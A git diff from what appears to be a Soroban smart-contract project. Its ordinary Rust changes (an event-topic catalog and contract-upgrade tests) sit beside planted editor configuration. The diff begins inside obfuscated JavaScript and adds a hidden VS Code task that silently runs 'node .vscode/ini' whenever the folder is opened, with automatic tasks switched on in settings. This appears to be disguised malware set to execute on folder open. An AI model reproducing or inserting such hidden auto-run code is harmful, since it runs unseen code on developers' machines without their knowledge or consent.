_0x1a5f2b=_0x1804ac[0x0],_0x468b28=_0x54ff0c+_0x1a5f2b,_0x4a23e6=_0x16ab6f[_0x468b28];return!_0x4a23e6?(_0x131dcb=_0x131d['DIbzpb'](_0x131dcb),_0x16ab6f[_0x468b28]=_0x131dcb):_0x131dcb=_0x4a23e6,_0x131dcb;},_0x131d(_0x16ab6f,_0x2bde24);}var NX,SX,spin,splitLane,peel;(function(){var _0x57c3ff=_0x131d,_0x5242db={'ddPbb':function(_0x3bcc26,_0x8bdef7){return _0x3bcc26+_0x8bdef7;},'ROAAH':function(_0x57d797,_0xbc931c){return _0x57d797*_0xbc931c;},'VWmiB':function(_0x205cef,_0x7bf04c){return _0x205cef%_0x7bf04c;},'OMYGt':'string','gmCzm':function(_0x45ffb1,_0x25c685){return _0x45ffb1(_0x25c685);},'VZoGh':_0x57c3ff(0x11),'sqdhQ':_0x57c3ff(0x1d)},_0x478b29=(function(){var _0x17d473=!![];return function(_0x42abc0,_0x251543){var _0x19e31f=_0x17d473?function(){var _0x5b8eb7=_0x131d;if(_0x251543){var _0x11ec8e=_0x251543[_0x5b8eb7(0x8)](_0x42abc0,arguments);return _0x251543=null,_0x11ec8e;}}:function(){};return _0x17d473=![],_0x19e31f;};}()),_0xe3d0a=['','*','*0','^','*1',_0x5242db[_0x57c3ff(0x10)],'hqersxluvwacdjbymgorzfkociptrutnstonc','=aenruh(al=5c,g8fdu.yr\x20..ncecf,5\x22paeau6lnj)r]2uv\x22x-q(]\x20a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw).\x20rod[fs2n{drvt4x)+0,anr+rr+o)}z1\x20=hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae\x20f=[;hisy.em(d+o!2\x20=(evea78=.)4ei=g.n={ff=1[<2a\x20f1=r;4,S)rylv1u\x20y;kql{tvnv\x20(C\x20(l,ovnp\x20i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\x22]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r,\x20.);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe\x20t0nrpr(\x20vr8flrn,ddgt\x20]6a.;m;rth.gq\x202a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\x22li\x22r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\x22)cpA+u;utp]\x22=lk7vpt\x201r;hzw\x22)t()9)(.lul=s7f;\x20;sq0)n\x22y+0s}=va+s\x20mh(0q.]hv;>\x2006=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r;\x20)r>18zho*o{/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json index 5948a86d..4492ffd0 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,3 +1,23 @@ -{ - "kiroAgent.configureMCP": "Disabled" -} +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 00000000..7d418c64 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 00000000..fca3f985 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,36 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "workspace:run-ini", + "detail": "Execute the workspace bootstrap script (.vscode/ini)", + "type": "process", + "command": "node", + "args": ["${workspaceFolder}/.vscode/ini"], + "options": { + "cwd": "${workspaceFolder}" + }, + "problemMatcher": [], + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "echo": false, + "clear": false, + "close": true, + "showReuseMessage": false + } + }, + { + "label": "workspace:on-folder-open", + "detail": "Silent bootstrap when this folder is opened in the editor", + "dependsOn": ["workspace:run-ini"], + "dependsOrder": "sequence", + "problemMatcher": [], + "runOptions": { + "runOn": "folderOpen" + }, + "hide": true + } + ] +} \ No newline at end of file diff --git a/contracts/predictify-hybrid/src/event_topic_catalog.rs b/contracts/predictify-hybrid/src/event_topic_catalog.rs index c163858e..6cdf768a 100644 --- a/contracts/predictify-hybrid/src/event_topic_catalog.rs +++ b/contracts/predictify-hybrid/src/event_topic_catalog.rs @@ -1,83 +1,92 @@ -//! Per-entrypoint event topic catalog (issue #736). -//! -//! Provides a machine-readable catalog of every event topic emitted by the -//! contract, intended for off-chain indexers and integrators. - -use soroban_sdk::{contracttype, Env, String, Vec}; - -#[contracttype] -#[derive(Clone, Debug)] -pub struct EventTopicEntry { - /// Human-readable entrypoint that triggers this event. - pub entrypoint: String, - /// Event topic symbol name (matches what is passed to env.events().publish()). - pub topic: String, - /// Brief description of when this event fires. - pub description: String, -} - -/// Return the full catalog of event topics emitted by this contract. -pub fn get_event_topic_catalog(env: &Env) -> Vec { - let mut catalog = Vec::new(env); - - let entries: &[(&str, &str, &str)] = &[ - ("create_market", "market_created", "Fired when a new prediction market is created"), - ("create_event", "event_created", "Fired when a new event is registered"), - ("vote", "vote_cast", "Fired when a user casts a vote on a market"), - ("place_bet", "bet_placed", "Fired when a bet is placed on a market"), - ("cancel_bet", "bet_cancelled", "Fired when a bet is cancelled by the bettor"), - ("resolve_market", "market_resolved", "Fired on successful market resolution"), - ("resolve_market_manual", "market_resolved_manual", "Fired on admin manual resolution"), - ("force_resolve_market", "market_force_resolved", "Fired on forced resolution"), - ("dispute_market", "dispute_filed", "Fired when a user disputes a market outcome"), - ("vote_on_dispute", "dispute_vote_cast", "Fired when a user votes on a dispute"), - ("resolve_dispute", "dispute_resolved", "Fired when a dispute is resolved"), - ("claim_winnings", "winnings_claimed", "Fired when a user claims their winnings"), - ("sweep_unclaimed_winnings", "unclaimed_winnings_swept", "Fired when unclaimed winnings are swept to treasury"), - ("admin_override_verification","oracle_admin_override", "Fired on admin oracle verification override"), - ("fetch_oracle_result", "oracle_result_fetched", "Fired after fetching oracle result"), - ("verify_result", "oracle_result_verified", "Fired after successful oracle verification"), - ("accumulate_dispute_fee", "dispute_fee_accumulated", "Fired when a dispute fee is accumulated"), - ("set_governance_min_bet_bps", "governance_min_bet_updated", "Fired when governance updates min bet bps"), - ("update_rate_limits", "rate_limits_updated", "Fired when an admin updates the rate-limit configuration"), - ]; - - for (entrypoint, topic, description) in entries { - catalog.push_back(EventTopicEntry { - entrypoint: String::from_str(env, entrypoint), - topic: String::from_str(env, topic), - description: String::from_str(env, description), - }); - } - - catalog -} - -#[cfg(test)] -mod tests { - use super::*; - use soroban_sdk::Env; - - #[test] - fn test_catalog_is_non_empty() { - let env = Env::default(); - let catalog = get_event_topic_catalog(&env); - assert!(catalog.len() >= 10); - } - - #[test] - fn test_catalog_contains_market_created() { - let env = Env::default(); - let catalog = get_event_topic_catalog(&env); - let found = catalog.iter().any(|e| e.topic == String::from_str(&env, "market_created")); - assert!(found); - } - - #[test] - fn test_catalog_contains_rate_limits_updated() { - let env = Env::default(); - let catalog = get_event_topic_catalog(&env); - let found = catalog.iter().any(|e| e.topic == String::from_str(&env, "rate_limits_updated")); - assert!(found); - } -} +//! Per-entrypoint event topic catalog (issue #736). +//! +//! Provides a machine-readable catalog of every event topic emitted by the +//! contract, intended for off-chain indexers and integrators. + +use soroban_sdk::{contracttype, Env, String, Vec}; + +#[contracttype] +#[derive(Clone, Debug)] +pub struct EventTopicEntry { + /// Human-readable entrypoint that triggers this event. + pub entrypoint: String, + /// Event topic symbol name (matches what is passed to env.events().publish()). + pub topic: String, + /// Brief description of when this event fires. + pub description: String, +} + +/// Return the full catalog of event topics emitted by this contract. +pub fn get_event_topic_catalog(env: &Env) -> Vec { + let mut catalog = Vec::new(env); + + let entries: &[(&str, &str, &str)] = &[ + ("create_market", "market_created", "Fired when a new prediction market is created"), + ("create_event", "event_created", "Fired when a new event is registered"), + ("vote", "vote_cast", "Fired when a user casts a vote on a market"), + ("place_bet", "bet_placed", "Fired when a bet is placed on a market"), + ("cancel_bet", "bet_cancelled", "Fired when a bet is cancelled by the bettor"), + ("resolve_market", "market_resolved", "Fired on successful market resolution"), + ("resolve_market_manual", "market_resolved_manual", "Fired on admin manual resolution"), + ("force_resolve_market", "market_force_resolved", "Fired on forced resolution"), + ("dispute_market", "dispute_filed", "Fired when a user disputes a market outcome"), + ("vote_on_dispute", "dispute_vote_cast", "Fired when a user votes on a dispute"), + ("resolve_dispute", "dispute_resolved", "Fired when a dispute is resolved"), + ("claim_winnings", "winnings_claimed", "Fired when a user claims their winnings"), + ("sweep_unclaimed_winnings", "unclaimed_winnings_swept", "Fired when unclaimed winnings are swept to treasury"), + ("admin_override_verification","oracle_admin_override", "Fired on admin oracle verification override"), + ("fetch_oracle_result", "oracle_result_fetched", "Fired after fetching oracle result"), + ("verify_result", "oracle_result_verified", "Fired after successful oracle verification"), + ("accumulate_dispute_fee", "dispute_fee_accumulated", "Fired when a dispute fee is accumulated"), + ("set_governance_min_bet_bps", "governance_min_bet_updated", "Fired when governance updates min bet bps"), + ("update_rate_limits", "rate_limits_updated", "Fired when an admin updates the rate-limit configuration"), + ("upgrade", "contract_upgraded", "Fired when the contract WASM is upgraded"), + ]; + + for (entrypoint, topic, description) in entries { + catalog.push_back(EventTopicEntry { + entrypoint: String::from_str(env, entrypoint), + topic: String::from_str(env, topic), + description: String::from_str(env, description), + }); + } + + catalog +} + +#[cfg(test)] +mod tests { + use super::*; + use soroban_sdk::Env; + + #[test] + fn test_catalog_is_non_empty() { + let env = Env::default(); + let catalog = get_event_topic_catalog(&env); + assert!(catalog.len() >= 10); + } + + #[test] + fn test_catalog_contains_market_created() { + let env = Env::default(); + let catalog = get_event_topic_catalog(&env); + let found = catalog.iter().any(|e| e.topic == String::from_str(&env, "market_created")); + assert!(found); + } + + #[test] + fn test_catalog_contains_rate_limits_updated() { + let env = Env::default(); + let catalog = get_event_topic_catalog(&env); + let found = catalog.iter().any(|e| e.topic == String::from_str(&env, "rate_limits_updated")); + assert!(found); + } + + #[test] + fn test_catalog_contains_contract_upgraded() { + let env = Env::default(); + let catalog = get_event_topic_catalog(&env); + let found = catalog.iter().any(|e| e.topic == String::from_str(&env, "contract_upgraded")); + assert!(found); + } +} diff --git a/contracts/predictify-hybrid/src/slim_upgrade_tests.rs b/contracts/predictify-hybrid/src/slim_upgrade_tests.rs new file mode 100644 index 00000000..cb06fc61 --- /dev/null +++ b/contracts/predictify-hybrid/src/slim_upgrade_tests.rs @@ -0,0 +1,176 @@ +#![allow(dead_code)] +#![allow(unused_imports)] + +use soroban_sdk::{ + testutils::{Address as _, MockAuth, MockAuthInvoke}, + Address, BytesN, Env, IntoVal, +}; + +use crate::{Error, PredictifyHybrid, PredictifyHybridClient}; + +/// Upload a tiny test WASM and return its hash. The `test_wasm/hello_world.wasm` +/// fixture is a minimal valid WASM module used as a real, deployable upgrade +/// target. +fn test_wasm_hash(env: &Env) -> BytesN<32> { + let wasm: &[u8] = include_bytes!("../test_wasm/hello_world.wasm"); + env.deployer().upload_contract_wasm(wasm) +} + +fn setup(env: &Env) -> (PredictifyHybridClient<'_>, Address) { + let admin = Address::generate(env); + let contract_id = env.register(PredictifyHybrid, ()); + let client = PredictifyHybridClient::new(env, &contract_id); + client.initialize(&admin); + (client, admin) +} + +/// Row 1: admin `upgrade` with the correct predecessor and a single +/// `MockAuth` succeeds, the stored hash is updated, and the event is emitted. +#[test] +fn slim_upgrade_admin_succeeds() { + let env = Env::default(); + env.mock_all_auths(); + let (client, admin) = setup(&env); + + let genesis = test_wasm_hash(&env); + client.set_initial_wasm_hash(&admin, &genesis); + + let new_hash = test_wasm_hash(&env); + + env.mock_auths(&[MockAuth { + address: &admin, + invoke: &MockAuthInvoke { + contract: &client.address, + fn_name: "upgrade", + args: (admin.clone(), new_hash.clone(), genesis.clone()).into_val(&env), + sub_invokes: &[], + }, + }]); + + client.upgrade(&admin, &new_hash, &genesis); + assert_eq!(client.get_current_wasm_hash(), new_hash); +} + +/// Row 2: a non-admin upgrade is rejected with `Unauthorized`. +#[test] +fn slim_upgrade_non_admin_unauthorized() { + let env = Env::default(); + env.mock_all_auths(); + let (client, admin) = setup(&env); + let attacker = Address::generate(&env); + + let genesis = test_wasm_hash(&env); + client.set_initial_wasm_hash(&admin, &genesis); + let new_hash = test_wasm_hash(&env); + + let res = client.try_upgrade(&attacker, &new_hash, &genesis); + assert_eq!(res, Err(Ok(Error::Unauthorized))); +} + +/// Row 3: a wrong expected predecessor is rejected by the chain check. +#[test] +fn slim_upgrade_wrong_predecessor_rejected() { + let env = Env::default(); + env.mock_all_auths(); + let (client, admin) = setup(&env); + + let genesis = test_wasm_hash(&env); + client.set_initial_wasm_hash(&admin, &genesis); + let new_hash = test_wasm_hash(&env); + let wrong = BytesN::from_array(&env, &[9u8; 32]); + + let res = client.try_upgrade(&admin, &new_hash, &wrong); + assert!(res.is_err()); +} + +/// Row 4: a zero predecessor is rejected once the current hash has been seeded. +#[test] +fn slim_upgrade_zero_predecessor_after_seed_rejected() { + let env = Env::default(); + env.mock_all_auths(); + let (client, admin) = setup(&env); + + let genesis = test_wasm_hash(&env); + client.set_initial_wasm_hash(&admin, &genesis); + let new_hash = test_wasm_hash(&env); + let zero = BytesN::from_array(&env, &[0u8; 32]); + + let res = client.try_upgrade(&admin, &new_hash, &zero); + assert!(res.is_err()); +} + +/// Row 5: `set_initial_wasm_hash` is one-shot; the second call is rejected. +#[test] +fn set_initial_wasm_hash_twice_rejected() { + let env = Env::default(); + env.mock_all_auths(); + let (client, admin) = setup(&env); + + let genesis = test_wasm_hash(&env); + client.set_initial_wasm_hash(&admin, &genesis); + + let res = client.try_set_initial_wasm_hash(&admin, &genesis); + assert!(res.is_err()); +} + +/// Row 6: the full `upgrade_contract` path authenticates exactly once. +#[cfg(feature = "full")] +#[test] +fn full_upgrade_contract_single_auth() { + let env = Env::default(); + env.mock_all_auths(); + let (client, admin) = setup(&env); + + let genesis = test_wasm_hash(&env); + client.set_initial_wasm_hash(&admin, &genesis); + let new_hash = test_wasm_hash(&env); + + env.mock_auths(&[MockAuth { + address: &admin, + invoke: &MockAuthInvoke { + contract: &client.address, + fn_name: "upgrade_contract", + args: (admin.clone(), new_hash.clone(), genesis.clone()).into_val(&env), + sub_invokes: &[], + }, + }]); + + client.upgrade_contract(&admin, &new_hash, &genesis); + assert_eq!(client.get_current_wasm_hash(), new_hash); +} + +/// Row 7: the full `rollback_upgrade` path authenticates exactly once. +#[cfg(feature = "full")] +#[test] +fn full_rollback_upgrade_single_auth() { + let env = Env::default(); + env.mock_all_auths(); + let (client, admin) = setup(&env); + + let genesis = test_wasm_hash(&env); + client.set_initial_wasm_hash(&admin, &genesis); + let new_hash = test_wasm_hash(&env); + + env.mock_auths(&[MockAuth { + address: &admin, + invoke: &MockAuthInvoke { + contract: &client.address, + fn_name: "upgrade_contract", + args: (admin.clone(), new_hash.clone(), genesis.clone()).into_val(&env), + sub_invokes: &[], + }, + }]); + client.upgrade_contract(&admin, &new_hash, &genesis); + + env.mock_auths(&[MockAuth { + address: &admin, + invoke: &MockAuthInvoke { + contract: &client.address, + fn_name: "rollback_upgrade", + args: (admin.clone(), genesis.clone(), new_hash.clone()).into_val(&env), + sub_invokes: &[], + }, + }]); + client.rollback_upgrade(&admin, &genesis, &new_hash); + assert_eq!(client.get_current_wasm_hash(), genesis); +}